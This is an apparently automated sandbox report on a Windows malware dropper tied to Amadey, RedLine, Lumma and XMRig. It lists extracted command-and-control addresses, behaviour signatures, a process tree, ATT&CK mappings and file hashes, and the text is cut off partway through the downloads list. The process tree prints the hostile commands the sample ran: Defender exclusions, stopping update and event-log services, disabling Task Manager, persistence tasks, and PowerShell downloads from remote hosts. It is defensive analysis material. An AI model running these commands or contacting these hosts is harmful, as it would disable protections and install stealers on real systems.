Overview

overview

10

Static

static

3

winprofile

windows7-x64

10

winprofile

windows10-1703-x64

10

Analysis

  • max time kernel
    300s
  • max time network
    306s
  • platform
    windows10-1703_x64
  • resource
    win10-20240404-en
  • resource tags

    arch:x64arch:x86image:win10-20240404-enlocale:en-usos:windows10-1703-x64system
  • submitted
    24/06/2024, 05:29

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    791eaef0785d029d9d27e46ae31a2a21b60ed15078d84d2a85b9b18eb0e315e8.exe

  • Size

    1.8MB

  • MD5

    7558819d7d8c4a51720952fedd9758fa

  • SHA1

    b812b6495c1df9ea4019ac3bb510d535cf2415aa

  • SHA256

    791eaef0785d029d9d27e46ae31a2a21b60ed15078d84d2a85b9b18eb0e315e8

  • SHA512

    8b8aa1d8d39a09620774c9585ba6fadd233ef1dae6e2533ce15f586af2ddc03b34a88f036070a6be5094f9d5ed8eb02d532895fe307cbf3ff8e335dc8d6248cd

  • SSDEEP

    49152:GdtfeaiBlh7ioEbm9khHiTfitx+/7sNIKE0jc:G6Nv7ioEbm9wCj64/xh0j

Score
10/10
amadeylummaredlinexmrigamae76b71livetrafficdiscoveryevasionexecutioninfostealerminerpersistencespywarestealertrojanupx

Malware Config

Extracted

Family

amadey

Version

8254624243

Botnet

e76b71

C2

http://77.91.77.81

Attributes
  • install_dir

    8254624243

  • install_file

    axplong.exe

  • strings_key

    90049e51fabf09df0d6748e0b271922e

  • url_paths

    /Kiru9gu/index.php

rc4.plain

Extracted

Family

redline

Botnet

AMA

C2

185.215.113.67:40960

Extracted

Family

redline

Botnet

LiveTraffic

C2

4.185.27.237:13528

Extracted

Family

lumma

C2

https://parallelmercywksoffw.shop/api

https://liabiliytshareodlkv.shop/api

https://notoriousdcellkw.shop/api

https://conferencefreckewl.shop/api

https://flourhishdiscovrw.shop/api

https://landdumpycolorwskfw.shop/api

https://barebrilliancedkoso.shop/api

Signatures

  • Amadey

    Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.

    trojanamadey
  • Lumma Stealer

    An infostealer written in C++ first seen in August 2022.

    stealerlumma
  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

    infostealerredline
  • RedLine payload 3 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

    minerxmrig
  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 7 IoCs
    evasion
  • XMRig Miner payload 9 IoCs
    miner
  • Blocklisted process makes network request 4 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 6 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

    execution
  • Creates new service(s) 2 TTPs
    persistenceexecution
  • Disables Task Manager via registry modification
    evasion
  • Downloads MZ/PE file
  • Stops running service(s) 4 TTPs
    evasionexecution
  • Checks BIOS information in registry 2 TTPs 14 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 24 IoCs
  • Identifies Wine through registry keys 2 TTPs 7 IoCs

    Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

    evasion
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • UPX packed file 14 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

    upx
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
    spyware
  • Adds Run key to start application 2 TTPs 2 IoCs
    persistence
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 4 IoCs
  • Power Settings 1 TTPs 8 IoCs

    powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.

    persistence
  • Drops file in System32 directory 4 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 7 IoCs
  • Suspicious use of SetThreadContext 4 IoCs
  • Drops file in Windows directory 2 IoCs
  • Launches sc.exe 14 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 2 IoCs
  • Checks SCSI registry key(s) 3 TTPs 3 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Modifies data under HKEY_USERS 51 IoCs
  • Modifies registry class 3 IoCs
  • Modifies registry key 1 TTPs 1 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistenceexecution
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of SetWindowsHookEx 5 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence

Processes

  • C:\Users\Admin\AppData\Local\Temp\791eaef0785d029d9d27e46ae31a2a21b60ed15078d84d2a85b9b18eb0e315e8.exe
    "C:\Users\Admin\AppData\Local\Temp\791eaef0785d029d9d27e46ae31a2a21b60ed15078d84d2a85b9b18eb0e315e8.exe"
    1⤵
    • Identifies VirtualBox via ACPI registry values (likely anti-VM)
    • Checks BIOS information in registry
    • Identifies Wine through registry keys
    • Suspicious use of NtSetInformationThreadHideFromDebugger
    • Drops file in Windows directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:4108
    • C:\Users\Admin\AppData\Local\Temp\8254624243\axplong.exe
      "C:\Users\Admin\AppData\Local\Temp\8254624243\axplong.exe"
      2⤵
      • Identifies VirtualBox via ACPI registry values (likely anti-VM)
      • Checks BIOS information in registry
      • Executes dropped EXE
      • Identifies Wine through registry keys
      • Suspicious use of NtSetInformationThreadHideFromDebugger
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:4396
      • C:\Users\Admin\AppData\Local\Temp\1000007001\ama.exe
        "C:\Users\Admin\AppData\Local\Temp\1000007001\ama.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3144
      • C:\Users\Admin\AppData\Local\Temp\1000035001\gold.exe
        "C:\Users\Admin\AppData\Local\Temp\1000035001\gold.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:4440
        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
          4⤵
            PID:3800
        • C:\Users\Admin\AppData\Local\Temp\1000047001\lummac2.exe
          "C:\Users\Admin\AppData\Local\Temp\1000047001\lummac2.exe"
          3⤵
          • Executes dropped EXE
          PID:1376
        • C:\Users\Admin\AppData\Local\Temp\1000064001\NewLatest.exe
          "C:\Users\Admin\AppData\Local\Temp\1000064001\NewLatest.exe"
          3⤵
          • Executes dropped EXE
          • Drops file in Windows directory
          • Suspicious use of WriteProcessMemory
          PID:3172
          • C:\Users\Admin\AppData\Local\Temp\b66a8ae076\Hkbsse.exe
            "C:\Users\Admin\AppData\Local\Temp\b66a8ae076\Hkbsse.exe"
            4⤵
            • Executes dropped EXE
            • Suspicious use of WriteProcessMemory
            PID:3624
            • C:\Users\Admin\AppData\Local\Temp\1000014001\1.exe
              "C:\Users\Admin\AppData\Local\Temp\1000014001\1.exe"
              5⤵
              • Executes dropped EXE
              • Checks SCSI registry key(s)
              PID:3888
              • C:\Windows\SysWOW64\WerFault.exe
                C:\Windows\SysWOW64\WerFault.exe -u -p 3888 -s 488
                6⤵
                • Program crash
                PID:3588
            • C:\Users\Admin\AppData\Local\Temp\1000015001\FirstZ.exe
              "C:\Users\Admin\AppData\Local\Temp\1000015001\FirstZ.exe"
              5⤵
              • Executes dropped EXE
              • Drops file in System32 directory
              • Suspicious behavior: EnumeratesProcesses
              PID:2404
              • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
                C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
                6⤵
                • Command and Scripting Interpreter: PowerShell
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                PID:4060
              • C:\Windows\system32\cmd.exe
                C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
                6⤵
                  PID:2472
                  • C:\Windows\system32\wusa.exe
                    wusa /uninstall /kb:890830 /quiet /norestart
                    7⤵
                      PID:3008
                  • C:\Windows\system32\sc.exe
                    C:\Windows\system32\sc.exe stop UsoSvc
                    6⤵
                    • Launches sc.exe
                    PID:1516
                  • C:\Windows\system32\sc.exe
                    C:\Windows\system32\sc.exe stop WaaSMedicSvc
                    6⤵
                    • Launches sc.exe
                    PID:4948
                  • C:\Windows\system32\sc.exe
                    C:\Windows\system32\sc.exe stop wuauserv
                    6⤵
                    • Launches sc.exe
                    PID:4832
                  • C:\Windows\system32\sc.exe
                    C:\Windows\system32\sc.exe stop bits
                    6⤵
                    • Launches sc.exe
                    PID:3720
                  • C:\Windows\system32\sc.exe
                    C:\Windows\system32\sc.exe stop dosvc
                    6⤵
                    • Launches sc.exe
                    PID:3112
                  • C:\Windows\system32\powercfg.exe
                    C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
                    6⤵
                    • Power Settings
                    • Suspicious use of AdjustPrivilegeToken
                    PID:1256
                  • C:\Windows\system32\powercfg.exe
                    C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
                    6⤵
                    • Power Settings
                    • Suspicious use of AdjustPrivilegeToken
                    PID:2420
                  • C:\Windows\system32\powercfg.exe
                    C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
                    6⤵
                    • Power Settings
                    • Suspicious use of AdjustPrivilegeToken
                    PID:4480
                  • C:\Windows\system32\powercfg.exe
                    C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
                    6⤵
                    • Power Settings
                    • Suspicious use of AdjustPrivilegeToken
                    PID:4972
                  • C:\Windows\system32\sc.exe
                    C:\Windows\system32\sc.exe delete "WSNKISKT"
                    6⤵
                    • Launches sc.exe
                    PID:1868
                  • C:\Windows\system32\sc.exe
                    C:\Windows\system32\sc.exe create "WSNKISKT" binpath= "C:\ProgramData\wikombernizc\reakuqnanrkn.exe" start= "auto"
                    6⤵
                    • Launches sc.exe
                    PID:5060
                  • C:\Windows\system32\sc.exe
                    C:\Windows\system32\sc.exe stop eventlog
                    6⤵
                    • Launches sc.exe
                    PID:3204
                  • C:\Windows\system32\sc.exe
                    C:\Windows\system32\sc.exe start "WSNKISKT"
                    6⤵
                    • Launches sc.exe
                    PID:3304
            • C:\Users\Admin\AppData\Local\Temp\1000091001\Installer.exe
              "C:\Users\Admin\AppData\Local\Temp\1000091001\Installer.exe"
              3⤵
              • Executes dropped EXE
              • Adds Run key to start application
              • Suspicious use of WriteProcessMemory
              PID:2296
              • C:\Windows\SYSTEM32\cmd.exe
                cmd /c ins.bat
                4⤵
                • Suspicious use of WriteProcessMemory
                PID:2316
                • C:\Windows\system32\schtasks.exe
                  schtasks.exe /create /SC MINUTE /MO 10 /TN "CCleaner" /TR "\"C:\Program Files\Google\Chrome\Application\chrome.exe\" http://starjod.xyz/Website.php"
                  5⤵
                  • Scheduled Task/Job: Scheduled Task
                  PID:2580
                • C:\Windows\system32\schtasks.exe
                  schtasks.exe /create /SC MINUTE /MO 11 /TN "Updater" /TR "\"C:\Program Files\Google\Chrome\Application\chrome.exe\" http://starjod.xyz/Website.php"
                  5⤵
                  • Scheduled Task/Job: Scheduled Task
                  PID:4800
                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                  powershell -Command "Invoke-WebRequest -Uri 'https://bit.ly/4c7L8Zs' -UseBasicParsing >$null"
                  5⤵
                  • Blocklisted process makes network request
                  • Command and Scripting Interpreter: PowerShell
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of AdjustPrivilegeToken
                  PID:3076
                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                  powershell -Command "Start-Process 'C:\Users\Admin\AppData\Local\Temp\install.bat' -Verb runAs -WindowStyle Hidden"
                  5⤵
                  • Command and Scripting Interpreter: PowerShell
                  • Modifies registry class
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of AdjustPrivilegeToken
                  • Suspicious use of WriteProcessMemory
                  PID:3864
                  • C:\Windows\System32\cmd.exe
                    "C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\install.bat"
                    6⤵
                    • Suspicious use of WriteProcessMemory
                    PID:3832
                    • C:\Windows\system32\schtasks.exe
                      schtasks /create /tn "Cleaner" /tr "C:\Users\Admin\AppData\Local\Corporation\File\RemoteExecuteScriptSilent.exe" /sc onstart /delay 0005:00
                      7⤵
                      • Scheduled Task/Job: Scheduled Task
                      PID:5044
                    • C:\Windows\system32\reg.exe
                      reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /f /v DisableTaskMgr /t REG_DWORD /d 00000001
                      7⤵
                      • Modifies registry key
                      PID:3680
                    • C:\Windows\system32\schtasks.exe
                      schtasks.exe /create /SC MINUTE /MO 10 /TN "CCleaner" /TR "\"C:\Program Files\Google\Chrome\Application\chrome.exe\" http://starjod.xyz/Website.php" /F
                      7⤵
                      • Scheduled Task/Job: Scheduled Task
                      PID:316
                    • C:\Windows\system32\schtasks.exe
                      schtasks.exe /create /SC MINUTE /MO 11 /TN "Updater" /TR "\"C:\Program Files\Google\Chrome\Application\chrome.exe\" http://starjod.xyz/Website.php" /F
                      7⤵
                      • Scheduled Task/Job: Scheduled Task
                      PID:1072
                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                  powershell -Command "Invoke-WebRequest -Uri 'https://github.com/frielandrews892/File/releases/download/File/File.zip' -OutFile 'C:\Users\Admin\AppData\Local\Corporation.zip'"
                  5⤵
                  • Blocklisted process makes network request
                  • Command and Scripting Interpreter: PowerShell
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of AdjustPrivilegeToken
                  PID:4552
                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                  powershell -Command "Expand-Archive -Path 'C:\Users\Admin\AppData\Local\Corporation.zip' -DestinationPath 'C:\Users\Admin\AppData\Local\Corporation'"
                  5⤵
                  • Command and Scripting Interpreter: PowerShell
                  • Suspicious use of AdjustPrivilegeToken
                  PID:4616
                • C:\Windows\system32\schtasks.exe
                  schtasks /query /TN "Cleaner"
                  5⤵
                    PID:4948
              • C:\Users\Admin\AppData\Local\Temp\1000092001\legs.exe
                "C:\Users\Admin\AppData\Local\Temp\1000092001\legs.exe"
                3⤵
                • Executes dropped EXE
                • Suspicious use of SetThreadContext
                • Suspicious use of WriteProcessMemory
                PID:2000
                • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
                  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
                  4⤵
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of AdjustPrivilegeToken
                  PID:4080
                • C:\Windows\SysWOW64\WerFault.exe
                  C:\Windows\SysWOW64\WerFault.exe -u -p 2000 -s 268
                  4⤵
                  • Program crash
                  PID:1400
              • C:\Users\Admin\AppData\Local\Temp\1000099001\Collective.exe
                "C:\Users\Admin\AppData\Local\Temp\1000099001\Collective.exe"
                3⤵
                • Checks computer location settings
                • Executes dropped EXE
                • Adds Run key to start application
                • Modifies registry class
                PID:4584
                • C:\Users\Admin\AppData\Local\Temp\._cache_Collective.exe
                  "C:\Users\Admin\AppData\Local\Temp\._cache_Collective.exe"
                  4⤵
                  • Executes dropped EXE
                  • Suspicious use of AdjustPrivilegeToken
                  PID:660
                • C:\ProgramData\Synaptics\Synaptics.exe
                  "C:\ProgramData\Synaptics\Synaptics.exe" InjUpdate
                  4⤵
                  • Checks computer location settings
                  • Executes dropped EXE
                  • Modifies registry class
                  PID:4804
                  • C:\Users\Admin\AppData\Local\Temp\._cache_Synaptics.exe
                    "C:\Users\Admin\AppData\Local\Temp\._cache_Synaptics.exe" InjUpdate
                    5⤵
                    • Executes dropped EXE
                    PID:2260
          • C:\Users\Admin\AppData\Local\Temp\8254624243\axplong.exe
            C:\Users\Admin\AppData\Local\Temp\8254624243\axplong.exe
            1⤵
            • Identifies VirtualBox via ACPI registry values (likely anti-VM)
            • Checks BIOS information in registry
            • Executes dropped EXE
            • Identifies Wine through registry keys
            • Suspicious use of NtSetInformationThreadHideFromDebugger
            • Suspicious behavior: EnumeratesProcesses
            PID:3588
          • C:\ProgramData\wikombernizc\reakuqnanrkn.exe
            C:\ProgramData\wikombernizc\reakuqnanrkn.exe
            1⤵
            • Executes dropped EXE
            • Drops file in System32 directory
            • Suspicious use of SetThreadContext
            • Suspicious behavior: EnumeratesProcesses
            PID:4244
            • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
              C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
              2⤵
              • Command and Scripting Interpreter: PowerShell
              • Drops file in System32 directory
              • Modifies data under HKEY_USERS
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:1512
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
              2⤵
                PID:3832
                • C:\Windows\system32\wusa.exe
                  wusa /uninstall /kb:890830 /quiet /norestart
                  3⤵
                    PID:4752
                • C:\Windows\system32\sc.exe
                  C:\Windows\system32\sc.exe stop UsoSvc
                  2⤵
                  • Launches sc.exe
                  PID:592
                • C:\Windows\system32\sc.exe
                  C:\Windows\system32\sc.exe stop WaaSMedicSvc
                  2⤵
                  • Launches sc.exe
                  PID:1904
                • C:\Windows\system32\sc.exe
                  C:\Windows\system32\sc.exe stop wuauserv
                  2⤵
                  • Launches sc.exe
                  PID:1720
                • C:\Windows\system32\sc.exe
                  C:\Windows\system32\sc.exe stop bits
                  2⤵
                  • Launches sc.exe
                  PID:5040
                • C:\Windows\system32\sc.exe
                  C:\Windows\system32\sc.exe stop dosvc
                  2⤵
                  • Launches sc.exe
                  PID:3048
                • C:\Windows\system32\powercfg.exe
                  C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
                  2⤵
                  • Power Settings
                  • Suspicious use of AdjustPrivilegeToken
                  PID:4404
                • C:\Windows\system32\powercfg.exe
                  C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
                  2⤵
                  • Power Settings
                  • Suspicious use of AdjustPrivilegeToken
                  PID:4000
                • C:\Windows\system32\powercfg.exe
                  C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
                  2⤵
                  • Power Settings
                  • Suspicious use of AdjustPrivilegeToken
                  PID:1676
                • C:\Windows\system32\powercfg.exe
                  C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
                  2⤵
                  • Power Settings
                  • Suspicious use of AdjustPrivilegeToken
                  PID:4616
                • C:\Windows\system32\conhost.exe
                  C:\Windows\system32\conhost.exe
                  2⤵
                    PID:1284
                  • C:\Windows\explorer.exe
                    explorer.exe
                    2⤵
                    • Modifies data under HKEY_USERS
                    • Suspicious behavior: EnumeratesProcesses
                    • Suspicious use of AdjustPrivilegeToken
                    PID:3880
                • C:\Users\Admin\AppData\Local\Temp\b66a8ae076\Hkbsse.exe
                  C:\Users\Admin\AppData\Local\Temp\b66a8ae076\Hkbsse.exe
                  1⤵
                  • Executes dropped EXE
                  PID:4384
                • C:\Users\Admin\AppData\Local\Temp\8254624243\axplong.exe
                  C:\Users\Admin\AppData\Local\Temp\8254624243\axplong.exe
                  1⤵
                  • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                  • Checks BIOS information in registry
                  • Executes dropped EXE
                  • Identifies Wine through registry keys
                  • Suspicious use of NtSetInformationThreadHideFromDebugger
                  PID:2344
                • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
                  "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" /automation -Embedding
                  1⤵
                  • Checks processor information in registry
                  • Enumerates system info in registry
                  • Suspicious behavior: AddClipboardFormatListener
                  • Suspicious use of SetWindowsHookEx
                  PID:1336
                • C:\Users\Admin\AppData\Local\Temp\b66a8ae076\Hkbsse.exe
                  C:\Users\Admin\AppData\Local\Temp\b66a8ae076\Hkbsse.exe
                  1⤵
                  • Executes dropped EXE
                  PID:1912
                • C:\Users\Admin\AppData\Local\Temp\8254624243\axplong.exe
                  C:\Users\Admin\AppData\Local\Temp\8254624243\axplong.exe
                  1⤵
                  • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                  • Checks BIOS information in registry
                  • Executes dropped EXE
                  • Identifies Wine through registry keys
                  • Suspicious use of NtSetInformationThreadHideFromDebugger
                  PID:4088
                • C:\Users\Admin\AppData\Local\Temp\b66a8ae076\Hkbsse.exe
                  C:\Users\Admin\AppData\Local\Temp\b66a8ae076\Hkbsse.exe
                  1⤵
                  • Executes dropped EXE
                  PID:4584
                • C:\Users\Admin\AppData\Local\Temp\8254624243\axplong.exe
                  C:\Users\Admin\AppData\Local\Temp\8254624243\axplong.exe
                  1⤵
                  • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                  • Checks BIOS information in registry
                  • Executes dropped EXE
                  • Identifies Wine through registry keys
                  • Suspicious use of NtSetInformationThreadHideFromDebugger
                  PID:596
                • C:\Users\Admin\AppData\Local\Temp\b66a8ae076\Hkbsse.exe
                  C:\Users\Admin\AppData\Local\Temp\b66a8ae076\Hkbsse.exe
                  1⤵
                  • Executes dropped EXE
                  PID:992
                • C:\Users\Admin\AppData\Local\Temp\8254624243\axplong.exe
                  C:\Users\Admin\AppData\Local\Temp\8254624243\axplong.exe
                  1⤵
                  • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                  • Checks BIOS information in registry
                  • Executes dropped EXE
                  • Identifies Wine through registry keys
                  • Suspicious use of NtSetInformationThreadHideFromDebugger
                  PID:4060

                Network

                MITRE ATT&CK Enterprise v15

                Reconnaissance

                Resource Development

                Initial Access

                Execution

                Command and Scripting Interpreter

                1
                T1059

                PowerShell

                1
                T1059.001

                Scheduled Task/Job

                1
                T1053

                Scheduled Task

                1
                T1053.005

                System Services

                2
                T1569

                Service Execution

                2
                T1569.002

                Persistence

                Boot or Logon Autostart Execution

                1
                T1547

                Registry Run Keys / Startup Folder

                1
                T1547.001

                Create or Modify System Process

                2
                T1543

                Windows Service

                2
                T1543.003

                Power Settings

                1
                T1653

                Scheduled Task/Job

                1
                T1053

                Scheduled Task

                1
                T1053.005

                Privilege Escalation

                Boot or Logon Autostart Execution

                1
                T1547

                Registry Run Keys / Startup Folder

                1
                T1547.001

                Create or Modify System Process

                2
                T1543

                Windows Service

                2
                T1543.003

                Scheduled Task/Job

                1
                T1053

                Scheduled Task

                1
                T1053.005

                Defense Evasion

                Impair Defenses

                1
                T1562

                Modify Registry

                2
                T1112

                Virtualization/Sandbox Evasion

                2
                T1497

                Credential Access

                Unsecured Credentials

                2
                T1552

                Credentials In Files

                2
                T1552.001

                Discovery

                Peripheral Device Discovery

                1
                T1120

                Query Registry

                9
                T1012

                System Information Discovery

                6
                T1082

                Virtualization/Sandbox Evasion

                2
                T1497

                Lateral Movement

                Collection

                Data from Local System

                2
                T1005

                Command and Control

                Web Service

                1
                T1102

                Exfiltration

                Impact

                Service Stop

                1
                T1489

                Replay Monitor

                Loading Replay Monitor...

                Downloads

                • C:\Users\Admin\AppData\Local\Corporation.zip
                  Filesize

                  16.3MB

                  MD5

                  9cb5edb138b8df3492c0b14b56d617ac

                  SHA1

                  b02dfae970d31251d2f94cf14328f757ceb45c98

                  SHA256

                  de8c63974461298010c9b9c8a97e769f72f271e976bdbb54dee45264f8a0eda8

                  SHA512

                  50306f663098471c9aa51d9024bce4b8a25baec2fab2424909b481a4d223feda5311111831eb9084115686782c0c831f81ef5ccdb32b7a6833ff811ff51d4929

                  Download Submit

                • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
                  Filesize

                  3KB

                  MD5

                  42d4b1d78e6e092af15c7aef34e5cf45

                  SHA1

                  6cf9d0e674430680f67260194d3185667a2bb77b

                  SHA256

                  c4089b4313f7b8b74956faa2c4e15b9ffb1d9e5e29ac7e00a20c48b8f7aef5e0

                  SHA512

                  d31f065208766eea61facc91b23babb4c94906fb564dc06d114cbbc4068516f94032c764c188bed492509010c5dbe61f096d3e986e0ae3e70a170a9986458930

                  Download Submit

                • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                  Filesize

                  1KB

                  MD5

                  87858483b850e142542135748b93d3c5

                  SHA1

                  1a8370c2933400211536c0daa60dd1c50473b493

                  SHA256

                  e59da2043f3c183590383c54cc1a177bee840e2cac2cbcb21c66b2e70986c31b

                  SHA512

                  7882f65664ba2d3ccf870311a4a86b516c90250a901bd0932773e0c76c12aca0e0f78c7e46daade5fff717976630805cc02ae7f70cfcea1b19a6db600ba526ed

                  Download Submit

                • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                  Filesize

                  1KB

                  MD5

                  13653116ba80a52201ae4ee6b4df36e9

                  SHA1

                  e32900e4114348946fa2a4866dd3342018dcca7b

                  SHA256

                  5e0f9823c764b825911446b0cb467270fee115932fd5141b79348cbe4465d387

                  SHA512

                  8d9312bd0bdc1213a6624ced60f7e76e86d2aab0e79ba32d57edccbf6cb989c637af48085c9efbfa85d98db9f463dbf8204c68818c3b2ada102fc33ce8935d82

                  Download Submit

                • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                  Filesize

                  1KB

                  MD5

                  b28c646400a492620d400106703ffe6e

                  SHA1

                  c8454bdf1beec41948218aaf0d9a9f9f05157655

                  SHA256

                  d96c8a5cad92718919371faebb8daa8a986f77f30a3833c22334d7c4142876f0

                  SHA512

                  6f110056b88312954f11bb2feaafb89a4182090b15ccae856a82b7265f3043e35f06e8322ce1b4ae8f23a2d7418eef3ed0580c3e6fca3caeccb702cdeb6c7a3e

                  Download Submit

                • C:\Users\Admin\AppData\Local\Temp\._cache_Collective.exe
                  Filesize

                  538KB

                  MD5

                  47f64c89fb185fd47c42211e8eca82d9

                  SHA1

                  0b533b8256b081dbb3533ed1089b5d737eb4b950

                  SHA256

                  e34fd2ccbc8d9378dbf732d4b382d88b64838c488734427c04676796c1eb3e14

                  SHA512

                  49e4477da1774d7b0fbc5acf4b3f70f25d1e910bc4db4f66651525594080aad5787079a7d766960b5f55198ee77a9e04d45cb6c6ceb2c1501f3bb72f1d393c25

                  Download Submit

                • C:\Users\Admin\AppData\Local\Temp\1000007001\ama.exe
                  Filesize

                  297KB

                  MD5

                  5d860e52bfa60fec84b6a46661b45246

                  SHA1

                  1259e9f868d0d80ac09aadb9387662347cd4bd68

                  SHA256

                  b4a1e470f814bbcf1bc26c087eb513f4bab6165c90ecf43ac71dd87702561c30

                  SHA512

                  04ea5757d01508a44e0152b3aa78f530908da649d59b8ce7ee3e15c2d4d0314c97f346c1e79b1810edb27165d04781c022937d02536dc9b1dd4c55f023a47701

                  Download Submit

                • C:\Users\Admin\AppData\Local\Temp\1000014001\1.exe
                  Filesize

                  311KB

                  MD5

                  d5952230486f57ea55d7fa125118feb0

                  SHA1

                  7e9b064738290ff87219f984944df57eea4618a2

                  SHA256

                  4b31ffe2581b1c9efc5e30f03064b07ffefa727bf9ea10090dd9b2b8aef0cd2f

                  SHA512

                  0cda03dc4baf4067aba96105ddb01b39e3d58bc85f4dc1eb555e526546d3b2f3bbf554b950b36dde9686d7fee2eb1898f803691cfc1b26d06be48a68bc1e2e1e

                  Download Submit

                • C:\Users\Admin\AppData\Local\Temp\1000015001\FirstZ.exe
                  Filesize

                  2.5MB

                  MD5

                  ffada57f998ed6a72b6ba2f072d2690a

                  SHA1

                  6857b5f0c40a1cdb0411eb34aa9fe5029bcdb84f

                  SHA256

                  677f393462e24fb6dba1a47b39e674f485450f91deee6076ccbad9fd5e05bd12

                  SHA512

                  1de77f83a89935bb3fc3772d5190c3827d76a998785d451e2c0d11a0061cfd28f1b96eccb41b012c76ddda2021e3333a0a647489ae3c6dac10cfb8302abdf33f

                  Download Submit

                • C:\Users\Admin\AppData\Local\Temp\1000035001\gold.exe
                  Filesize

                  522KB

                  MD5

                  70a578f7f58456e475facd69469cf20a

                  SHA1

                  83e147e7ba01fa074b2f046b65978f838f7b1e8e

                  SHA256

                  5c8d556e39269b22e63ba9c941ff306bb043bc35125ba08787617577231b381a

                  SHA512

                  707ed48b45978d26faaf3544bf22912461503d6e4b1a077cbb7c3a8abd2f1eb3fec16b2786a79ae4db2dfec92f662ece1998bc142706d2b482599fb6191563c0

                  Download Submit

                • C:\Users\Admin\AppData\Local\Temp\1000047001\lummac2.exe
                  Filesize

                  310KB

                  MD5

                  6e3d83935c7a0810f75dfa9badc3f199

                  SHA1

                  9f7d7c0ea662bcdca9b0cda928dc339f06ef0730

                  SHA256

                  dc4f0a8e3d12c98eac09a42bd976579ccc1851056d9de447495e8be7519760ed

                  SHA512

